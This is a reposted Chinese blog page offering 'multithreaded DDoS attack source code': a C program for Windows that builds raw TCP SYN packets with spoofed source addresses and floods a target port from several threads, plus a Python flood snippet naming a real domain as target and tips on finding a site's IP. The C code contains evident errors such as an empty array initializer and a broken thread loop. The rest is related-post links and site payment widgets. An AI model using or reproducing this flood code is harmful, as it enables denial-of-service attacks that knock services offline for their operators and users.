[转载]多线程DDOS攻击源代码

Python Ddos攻击代码 这是一个用Python编写的简单的DDoS攻击源码。该代码通过创建一个UDP套接字并发送大量随机数据包到指定的IP地址和端口号来实现DDoS攻击。攻击大小可以通过更改"bytes"变量中的数字来调整。不过我建议大家不要拿去做坏事哈!如果大家不知道你要测压的网站的ip是什么,可以像这样1.打开命令提示符然后你会看到如下的状态2.输入ping 网址我这里ping的是搜狗浏览器的ip,你们的自己修改。注意!要去掉"https://"或"http://",后面不能留有"/"3.按下回车键,你就会看到如下状态。 阅读详情
/*
//作者:特务
//来源:纯技术论坛:[url]http://167168.kmip.net[/url]
// 一群技术人员的逛爱之处,闲聊者免进~~技术永远是第一生产力!
// 注意:请注明转载来源
*/
#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"WS2_32.LIB")

typedef struct tag_ip_Header//ip首部
{
unsigned char h_verlen;//4位手部长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int SourceIP;//伪造IP地址
unsigned int DestIP;//攻击的ip地址
}IPHEADER;

typedef struct tag_tcp_Header
{
USHORT th_sport;//伪造端口
USHORT th_dport;//攻击端口
unsigned int th_seq;//32位系列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首布长度,6位保留字
unsigned char th_flag;//6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//
}TCPHEADER;

typedef struct tag_tsd_Header
{
unsigned long saddr;//伪造地址
unsigned long daddr;//攻击地址
char mbz;//
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}TSDHEADER;

DWORD WINAPI Start(void);
HANDLE hFind[10];

//计算效验和
USHORT checksum(USHORT *buffer,int size)
{
unsigned long check=0;
while(size>1)
{
check+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
check += *(USHORT*)buffer;
}
check = (check >>16) + (check & 0xffff);
check += (check >>16);
return (USHORT)(~check);
}
//攻击线程
DWORD WINAPI Statr(void)
{
SOCKET sock;
WSADATA WSAData;
SOCKADDR_IN syn_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
TSDHEADER psdHeader;
const char *addr = "127.0.0.1";//攻击的IP地址
int port = 135;//要攻击的端口
if(WSAStartup(MAKEWORD(2,2),&WSAData))
{
return false;
}
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
return false;
}
BOOL flag=true;
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
{
return false;
}
int Time =888;
if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)
{
return false;
}
syn_in.sin_family = AF_INET;
syn_in.sin_port = htons(port);
syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
while(TRUE)
{
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=(unsigned char)GetTickCount()%514+620;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.SourceIP=htonl(GetTickCount()*1986);
ipHeader.DestIP=inet_addr(addr);
//填充Tcp首部
int SourcePort =GetTickCount()*1986%514;
tcpHeader.th_dport=htons(port);
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(620);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
//填充TCP伪首部用来计算TCP头部的效验和
psdHeader.saddr=ipHeader.SourceIP;
psdHeader.daddr=ipHeader.DestIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));

//计算校验和
char SendBuff[100]=;
memcpy(SendBuff, &psdHeader, sizeof(psdHeader));
memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(SendBuff, &ipHeader, sizeof(ipHeader));
memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

//发送数据包
int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));
if(Syn==SOCKET_ERROR)
{
return false;
}
}
closesocket(sock);
WSACleanup();
return true;
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{ //启动线程,10,大家可以自己改
for(int i=0;i<10;i++)
{
hFind[i-1]=createThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);
i--;
}
return 0;
}
pythonDDOS攻击 构建多个socket链接后,每个socket对这个网站无限的发送信息,做一个死循环,以起到占用他们网站资源链接的效果 环境: python3.7 代码: import socket import time import threading MAX_CONN = 200000 # 最大连接数 PORT = 80 HOST = "mooc.jikestar.com" # 目标IP或域名. PAGE = "/#/classlist" # 目标页面 buf = ("POST %s... 阅读详情

相关推荐

ddos攻击py代码

如下

weixin_43778463的博客 967

《Python 之 源代码 DDOS攻击》

Python;源代码;DDOS攻击

君逍遥o 4745

改进YOLOv7电动车头盔佩戴检测:轻量化、注意力机制与部署实战

目标检测是计算机视觉的核心任务之一,在智慧交通、安防监控等场景中有着广泛应用。YOLOv7作为主流的目标检测算法,凭借高精度与实时性优势成为工程落地的首选。然而在电动车头盔佩戴检测这类小目标场景中,原版YOLOv7常因结构设计针对通用目标而出现漏检、误检问题。本文围绕改进YOLOv7的完整工程链路展开,从YOLOv7原理中必须保留的ELAN、SPPCSPC等基石结构出发,介绍轻量化Backbone替换、坐标注意力CA插入、Anchor重聚类与Focal Loss优化等关键改进手段。同时涵盖自建头盔数据集的标

weixin_34074740的博客 370

DDOS

http://www.ruanyifeng.com/blog/2018/06/ddos.html 阮一峰 distributed denial of service DDOS 不是一种攻击,而是一大类攻击的总称。它有几十种类型,新的攻击方法还在不断发明出来。网站运行的各个环节,都可以是攻击目标。只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的。 其中,比较常见的一种攻击是 cc 攻击。它就是简单粗暴地送来大量正常的请求,超出服务器的最大承受量,导致宕机。我遭遇的就是 cc 攻击,

m0_38066007的博客 553

通用易语言,游戏盾源码

通用易语言,游戏盾源码

C语言--第三大的数

第三大的数 给定一个非空数组,返回此数组中第三大的数。如果不存在,则返回数组中最大的数. 示例1: 输入: [3, 2, 1] 输出: 1 解释: 第三大的数是 1. 示例2: 输入: [1, 2] 输出: 2 解释: 第三大的数不存在, 所以返回最大的数 2 . ...

loreal8的博客 2131

syn flood 攻击实现

winpcap基础上实现syn flood(内网),几个关键问题的实现。 1、程序实现中的源IP问题 伪造的syn包需要填写源IP和源MAC,如果填本机,操作系统收到ACK包后,会返回一个RST包,攻击无法实现。 所以填写一个不存在的源IP和源MAC,为了使被攻击主机发送ACK包,所以,在syn flood的同时,向目的主机大量 发送ARP欺骗包,告诉他,那个伪造的IP是存在的,MAC地址...

weixin_34275734的博客 404

Workbuddy+DeepSeek V4傻瓜流配置全指南:API接入、模型切换与Agent实战

AI编程助手的核心价值不在于模型本身,而在于如何稳定、安全、低门槛地调用其能力。Agent作为智能体范式,依赖可靠的运行时环境与标准化API通信;DeepSeek V4系列凭借高吞吐、低延迟和强工具调用支持,成为当前生产级Agent的理想引擎。Workbuddy则通过本地配置管理、环境变量注入与UTF-8无BOM容错等工程设计,将复杂部署简化为可复现、可版本化、可团队协同的实践流程。本文聚焦API接入路径下的真实卡点——从Key获取验证、models.json字段语义到沙箱权限控制,覆盖开发者在Window

weixin_33702545的博客 2359

网络安全热门资料 精品工具(转载)

51CTO论坛版主systemerror为大家整理了一个网络安全精品资料目录。内容经挑选的,广受网友欢迎,包括了6个精华专题30个热门资料以及12个精品工具。资料均是下载中心的经典资料,感兴的同学可以看看哈! 完整附件下载: http://down.51cto.com/data/426625 附件预览: 2012黑客必备渗透工具包下载 http://down.51ct

u010522549的专栏 662

芯片设计-信号完整性 SI 解析:Unit Interval 与比特周期的关系及其在高速信号中的应用

本文深入解析了芯片设计中信号完整性(SI)的核心概念Unit Interval(UI)与比特周期的关系及其在高速信号中的应用。通过实际案例和计算公式,详细阐述了UI在不同数据速率下的变化、在眼图分析中的关键作用,以及如何应对高速信号设计中的抖动和码间干扰等挑战。文章还提供了PCB布线和芯片设计中的UI优化技巧,帮助工程师提升高速信号设计的实战能力。

weixin_28683391的博客 468

PyTorch复现EEG-TCNet踩坑记:从BCI IV2a数据到TCN块缺失的完整解决方案

本文详细解析了使用PyTorch复现EEG-TCNet模型的全过程,重点解决了BCI IV2a数据集预处理和TCN模块缺失的技术难题。通过标准化数据流程、跨受试者验证策略以及三种因果卷积实现方案,为运动想象分类任务提供完整解决方案,帮助研究者高效实现模型复现与优化。

weixin_30699955的博客 319

Java研发方向如何准备BAT技术面试

Java基础: 面向对象和面向过程的区别 Java的四个基本特性(抽象、封装、继承,多态) Overload和Override的区别 构造器Constructor是否可被override 访问控制符public,protected,private,以及默认的区别 是否可以继承...

chouhangjiu9412的博客 162

泛微E9集成登录实战:5分钟搞定第三方系统单点登录配置(附避坑指南)

本文详细解析了泛微E9集成登录的实战配置流程与核心原理。通过理解其基于信任代理的身份传递机制,文章指导用户如何在5-10分钟内完成第三方系统的单点登录对接,涵盖基础配置、核心参数设置、高级表达式应用,并提供了编码问题、账号不一致等常见避坑指南,助力企业快速构建统一身份认证门户。

weixin_29185493的博客 289

爬虫--技术栈

1.熟悉Python大部分的API 这是为了能够更好的处理程序所必须花费的代价。 对我来说我很熟悉Java,那么python就类比着了解。 2.批处理序列化 在爬取一本漫画时,非常的耗时。 需要将任务分成任务队列。 常用的任务队列有kafka,beanstalkd,celery等。 3.灵活&熟练1门最火的开源的数据库技术 有时候一些小数据也可以保存成json或者csv等。我有时想抓一些图片就直接按照文件夹保存文件。 推荐使用NoSQL的数据库,比如mongodb,因为爬虫抓到的数据一般是都字段-值

u010563350的博客 1693

OpenCV实战系列——图像线条提取

基于内容的图像分析,需要从构成图像的像素集合中提取有意义的特征。轮廓、线条、区域等是基本的图像基元,可用于描述图像中包含的元素。本节将介绍如何提取重要的图像线条特征。

m0_58523831的博客 1万+

RK3588 固定hdmiin的dev/videoX节点

RK3588 固定hdmiin的dev/videoX节点

目前从事linux驱动开发,多交流多学习吧 2050

程序员基本素养

学习经历 从抄书到开源之巅:章亦春的程序人生 我从药学转IT编程的历程,搞编程要学什么 阅读 infoQ-微信公众号-佛系程序员的月薪五万指南 这篇文章中总结学习的观点,还是比较认同的 经典计算机书籍列表 jiajunhuang-如何阅读源代码 云计算 终于有人把云计算、大数据和人工智能讲明白了! 系统设计 系统架构 桃子-一个简单的互联网架构样例图 绘图 阿里技术-如何画出一张...

weixin_34015860的博客 254

C# 上位机内存泄漏排查指南:3 个工具 + 4 个技巧,从 GC 频繁到稳定运行 720 小时

C# 上位机内存泄漏排查的核心是「先定位泄漏存在,再追溯引用根源,最后修复验证通过「Visual Studio 诊断工具(快速定位)+ dotMemory(深度分析)+ PerfView(生产监控)」三个工具的配合,结合「复现场景、排查静态成员+事件、检查非托管资源、GC 日志验证」四个技巧,可高效解决绝大多数泄漏问题。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 735

前端js嵌套遍历优化_浅谈JS中多并发的一些处理方法

js中多并发的一些处理方法经常在写代码的时候碰到这样的场景:页面初始化时显示loading页,同时启动多个ajax并发请求获取数据,当每个ajax请求返回时结束loading。举个例子,一个下订单的页面,要查询常用地址信息、商品信息、地市信息…而这些请求都是异步的,希望等到所有数据加载完成后再允许用户操作。...浅谈高并发解决方案浅谈高并发解决方案摘要: 高并发一直是然个人头疼的问题;然而,其解决...

weixin_39560064的博客 973

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

史上最全阿里技术面试题目

题目目录 技术一面(基础面试题目) 技术二面(技术深度、技术原理) 项目实战(项目模拟面试) JAVA开发技术常问的问题 阿里必会知识 阿里面试范畴 阿里面试总结 一:阿里技术一面(基础掌握牢固) 常用的异常类型?* session java锁【java 中的锁 -- 偏向锁、轻量级锁、自旋锁、重量级锁】 gc原理* hashmap listlink arraylist ...

look4liming的专栏 672

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

嵌入式学习路线

一文带你了解嵌入式学习路线。

指尖动听知识库 163

Python爬虫实战:从论坛数据抓取到存储的完整流程与反爬策略

网络爬虫作为数据采集的核心技术,其基本原理是通过模拟浏览器行为自动访问网页并提取结构化信息。在Python生态中,requests库负责发送HTTP请求,而BeautifulSoup和lxml则用于解析HTML文档,构成了静态页面抓取的基础工具链。这项技术的核心价值在于将非结构化的网页内容转化为可用于分析、研究或构建知识库的规整数据,广泛应用于舆情监控、竞品分析和市场调研等场景。针对论坛这类典型内容平台,爬虫工程实践需重点解决反爬机制识别、动态内容加载处理等挑战,其中请求头模拟、频率控制和Selenium动

weixin_34090562的博客 362

代码和人有一个能跑就刑*一键ddos攻击源码,体验命令行飞速刷屏的感觉

python 5行代码快速实现命令行攻击服务器,造成服务器瘫痪,代码和人有一个能跑就刑*一键ddos攻击源码,体验命令行飞速刷屏的感觉

qq_37092496的博客 4508
上一篇: [转载]Windows 2000中获取CPU使用率
下一篇: VC的若干实用小技巧
goingup
博客等级 码龄22年 52粉丝 158原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值